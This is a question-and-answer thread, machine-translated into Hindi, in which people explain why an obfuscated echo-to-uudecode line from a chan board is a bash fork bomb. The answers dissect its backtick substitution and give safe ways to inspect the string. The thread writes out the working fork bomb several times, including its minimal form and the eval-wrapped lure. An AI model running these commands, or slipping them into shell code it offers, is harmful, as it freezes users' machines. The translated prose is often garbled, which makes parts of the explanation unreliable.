सवाल पाठ की यह स्ट्रिंग एक कांटा बम कैसे और क्यों है?


एक यादृच्छिक चैन बोर्ड पर मिला:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

किसी भी तरह से यह परिणाम असीम स्पॉन्गिंग प्रक्रिया में चल रहा है जो मशीन को रोकता है और मशीन को रोक देता है। मैं कई बार निष्पादित करने के प्रयास में "सु" के बारे में कुछ देखता हूं।

.. जो अजीब है, क्योंकि मैं केवल पाठ को आउटपुट होने की अपेक्षा करता हूं, कुछ भी निष्पादन नहीं।

एक ऑनलाइन डिकोडर के माध्यम से इस पाठ को चलाने से मुझे बाइनरी स्पू का बैच मिलता है:

uudecode result

वास्तव में पाठ का यह गड़बड़ क्या है, और क्या इसे "सुरक्षित रूप से" देखने का कोई तरीका है?


129
2017-11-06 06:48


मूल


"सु" को कई बार क्यों निष्पादित किया जा रहा है? - Brent Washburne
सलाह का एक टुकड़ा: यादृच्छिक चैन बोर्ड से कोड न चलाएं और आभारी रहें, यह सिर्फ एक कांटा बम था। - rr-
हे। शुक्र है कि मैं इस तरह के शत्रुतापूर्ण कचरे के साथ खेलने के व्यक्त उद्देश्य के लिए बने स्नैपशॉट वीएम पर था। - Mikey T.K.
मुझे पता है कि यह विषय-वस्तु है, लेकिन क्या बोर्ड और संदर्भ का उल्लेख करना संभव है जिसमें कमांड का उल्लेख किया गया था? - Sebi
@ सेबी - archive.rebeccablacktech.com/g/thread/45564403 - Pikamander2


जवाब:


सबसे पहले, आइए पूरे आदेश को देखें:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

इसमें एक डबल-उद्धृत स्ट्रिंग है जो प्रतिबिंबित हो जाती है uudecode। लेकिन, ध्यान दें कि, डबल-उद्धृत स्ट्रिंग के भीतर एक है पीछे से उद्धृत स्ट्रिंग। यह स्ट्रिंग हो जाता है मार डाला। स्ट्रिंग है:

`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`

अगर हम इसमें क्या देखते हैं, तो हम तीन आदेश देखते हैं:

rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r

प्रदर्शन ब्रेस विस्तार मध्य कमांड पर, हमारे पास है:

rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r

पहली पंक्ति पृष्ठभूमि में बकवास कमांड चलाने की कोशिश करती है। यह महत्वहीन है।

दूसरी पंक्ति महत्वपूर्ण है: यह एक समारोह को परिभाषित करता है r जो, जब दौड़ते हैं, खुद की दो प्रतियां लॉन्च करते हैं। उन प्रतियों में से प्रत्येक, ज़ाहिर है, दो और प्रतियां लॉन्च करेगी। और इसी तरह।

तीसरी पंक्ति चलती है r, कांटा बम शुरू।

बैक-उद्धृत स्ट्रिंग के बाहर, शेष कोड, obfuscation के लिए सिर्फ बकवास है।

आदेश कैसे चलाएं सुरक्षित रूप से

यदि हम फ़ंक्शन नेस्टिंग स्तर पर सीमा निर्धारित करते हैं तो यह कोड सुरक्षित रूप से चलाया जा सकता है। यह बैश के साथ किया जा सकता है FUNCNEST चर। यहां, हम इसे सेट करते हैं 2 और यह रिकर्सन रोकता है:

$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line

उपरोक्त त्रुटि संदेश दिखाते हैं कि (ए) बकवास आदेश rYWdl तथा Y29j नहीं मिला, (बी) कांटा बम फनकेनेस्ट द्वारा बार-बार बंद हो जाता है, और (सी) का उत्पादन echo के साथ शुरू नहीं होता है begin और, इसके परिणामस्वरूप, वैध इनपुट नहीं है uudecode

अपने सबसे सरल रूप में कांटा बम

अगर हम अस्पष्टता को हटा देते हैं तो कांटा बम कैसा दिखता है? जैसा कि njzk2 और gerrit सुझाव है, यह इस तरह दिखेगा:

echo "`r()(r&r);r`"

हम इसे और भी सरल बना सकते हैं:

r()(r&r); r

इसमें दो बयान शामिल हैं: एक फोर्क-बम-फ़ंक्शन को परिभाषित करता है r और दूसरा रन r

पाइप सहित अन्य सभी कोड uudecode, बस अस्पष्टता और गलत दिशा के लिए था।

मूल रूप में अभी तक गलत दिशा की एक और परत थी

ओपी प्रदान किया गया है एक लिंक चैन बोर्ड चर्चा के लिए जिस पर यह कोड दिखाई दिया। जैसा कि वहां प्रस्तुत किया गया था, कोड इस तरह दिखता था:

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

इस कोड के बारे में पहली टिप्पणी में से एक पर ध्यान दें:

मैं इसके लिए गिर गया। केवल उस भाग को कॉपी किया जो echoes और decodes, लेकिन फिर भी   फोर्कबॉम्ड मिला

चैन बोर्ड के रूप में, एक मूर्खता से सोचता है कि समस्या होगी eval आउटपुट पर ऑपरेटिंग स्टेटमेंट uudecode। यह एक को हटाने के लिए सोचने के लिए नेतृत्व करेंगे eval समस्या हल करेंगे। जैसा कि हमने ऊपर देखा है, यह झूठा और खतरनाक है।


188
2017-11-06 07:07



कुटिल! मैंने कभी गूंज स्ट्रिंग के बीच में खोल ग्लोबिंग / विस्तार पर विचार नहीं किया। - Mikey T.K.
मुझे लगता है कि यह ध्यान रखना अच्छा होगा uudecode यहां पूरी तरह से अप्रासंगिक है। एक पल के लिए मैंने सोचा uudecode बैक-उद्धृत स्ट्रिंग इंटरपोलेशन कर रहा था जो इसे मौलिक रूप से असुरक्षित प्रदान करेगा, लेकिन यूकेकोड शुरू होने से पहले कांटा बम होता है। - gerrit
...तथा इस, महिलाओं और सज्जनो, यही कारण है कि शैल स्क्रिप्ट में सुरक्षा इतनी कठोर है। यहां तक ​​कि पूरी तरह से हानिरहित दिखने वाली चीजें भी आपको मार सकती हैं। (कल्पना कीजिए कि यह कहीं से उपयोगकर्ता इनपुट था ...) - MathematicalOrchid
@MathematicalOrchid यह वास्तव में निष्पादित करने के लिए उपयोगकर्ता इनपुट में बैकक्वॉटेड सामग्री का उपयोग करने के लिए एक शेल स्क्रिप्ट में अनौपचारिक प्रयास करता है। और यदि आप हैं निर्माण उपयोगकर्ता इनपुट से एक शेल स्क्रिप्ट आपको इसे डबल कोट्स में रखने से बेहतर जानना चाहिए। - Random832
@ njzk2 आपको अभी भी एक की जरूरत है &क्या आप वहां मौजूद हैं: echo "`r()(r&r);r`"। - gerrit


अपने प्रश्न के दूसरे भाग का जवाब देने के लिए:

... क्या इसे "सुरक्षित रूप से" देखने का कोई तरीका है?

इस स्ट्रिंग को कम करने के लिए, सिंगल कोट्स द्वारा बाहरी डबल कोट्स को प्रतिस्थापित करें और स्ट्रिंग के अंदर होने वाले सिंगल कोट्स से बचें। इस तरह, खोल किसी भी कोड को निष्पादित नहीं करेगा, और आप वास्तव में सब कुछ सीधे पास कर रहे हैं uudecode:

$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line

टिप्पणियों में अन्य विकल्प ध्यान दिए गए हैं:

कैस्परड ने सुझाव दिया:

$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line

जैकब क्रॉल ने सुझाव दिया टेक्स्ट एडिटर का उपयोग करने के लिए, सामग्री पेस्ट करें, फिर उस फ़ाइल को यूडियोड पर पास करें।


10
2017-11-06 11:26



वैकल्पिक रूप से: टाइप करें uudecode कमांड लाइन पर। एंटर दबाए। स्ट्रिंग को डीकोड करने के लिए कॉपी-पेस्ट करें। - kasperd
एक अन्य विकल्प: सामग्री को फ़ाइल में सहेजने के लिए टेक्स्ट एडिटर का उपयोग करें। उस फ़ाइल को खोलें uudecode। - Jacob Krall
दोनों के लिए धन्यवाद, मैंने जवाब में उन विकल्पों को नोट किया है। - gerrit
सुनिश्चित करें कि आप जांचें कि स्ट्रिंग कुछ ऐसा नहीं है echo "foo`die`bar'`die`'baz" प्रथम! यही है, अगर यह कोई है 'इसके बाद उद्धरणों को सिंगल कोट्स के साथ बदलना पर्याप्त नहीं होगा। - wchargin


पहली नज़र में, आप इसे सोच सकते हैं खोल के लिए उत्पादन कभी निष्पादित नहीं किया जाएगा। ये है अब भी सत्य। समस्या पहले से ही है इनपुट। यहां मुख्य चाल है कि प्रोग्रामर क्या कहते हैं संचालक वरीयता। यह वह आदेश है जो खोल आपके इनपुट को संसाधित करने का प्रयास करता है:

1.       "                                                             "
2.                     rYWdl
3.                          &
4.                           r()(Y29j&r{,3Rl7Ig}&r{,T31wo})             
5.                                                         ;            
6.                                                          r           
7.                    `                                      `          
8.        I<RA('1E<W3t                                        26<F]F;== 
9.  echo                                                                
10.                                                                      |         
11.                                                                        uudecode
  1. इसके अंदर सभी बैकटिक्स कमांड निष्पादित करके स्ट्रिंग लिखें।
  2. आमतौर पर एक अज्ञात कमांड, जो कुछ आउटपुट का कारण बनता है यदि 'rYWdl' एक टाइपो नहीं है, तो आप उस पैकेज को देखने के लिए कमांड-नहीं-पा सकते हैं जिसमें यह शामिल है ... (सिस्टम पर निर्भर करता है)
  3. पृष्ठभूमि में 2. निष्पादित करता है। आप कभी आउटपुट नहीं देखेंगे।
  4. कांटा बम समारोह परिभाषित करें।
  5. कमांड विभाजक।
  6. कांटा बम चलाओ।
  7. स्ट्रिंग में 6. के परिणाम डालें। (हम यहाँ कभी नहीं आते हैं।)

त्रुटि यह सोचने के लिए है echo निष्पादित करने वाला पहला आदेश होगा, uudecode दूसरा। उनमें से दोनों कभी नहीं पहुंचेगा।

निष्कर्ष: खोल पर डबल उद्धरण हमेशा खतरनाक होते हैं।


5
2017-11-11 08:01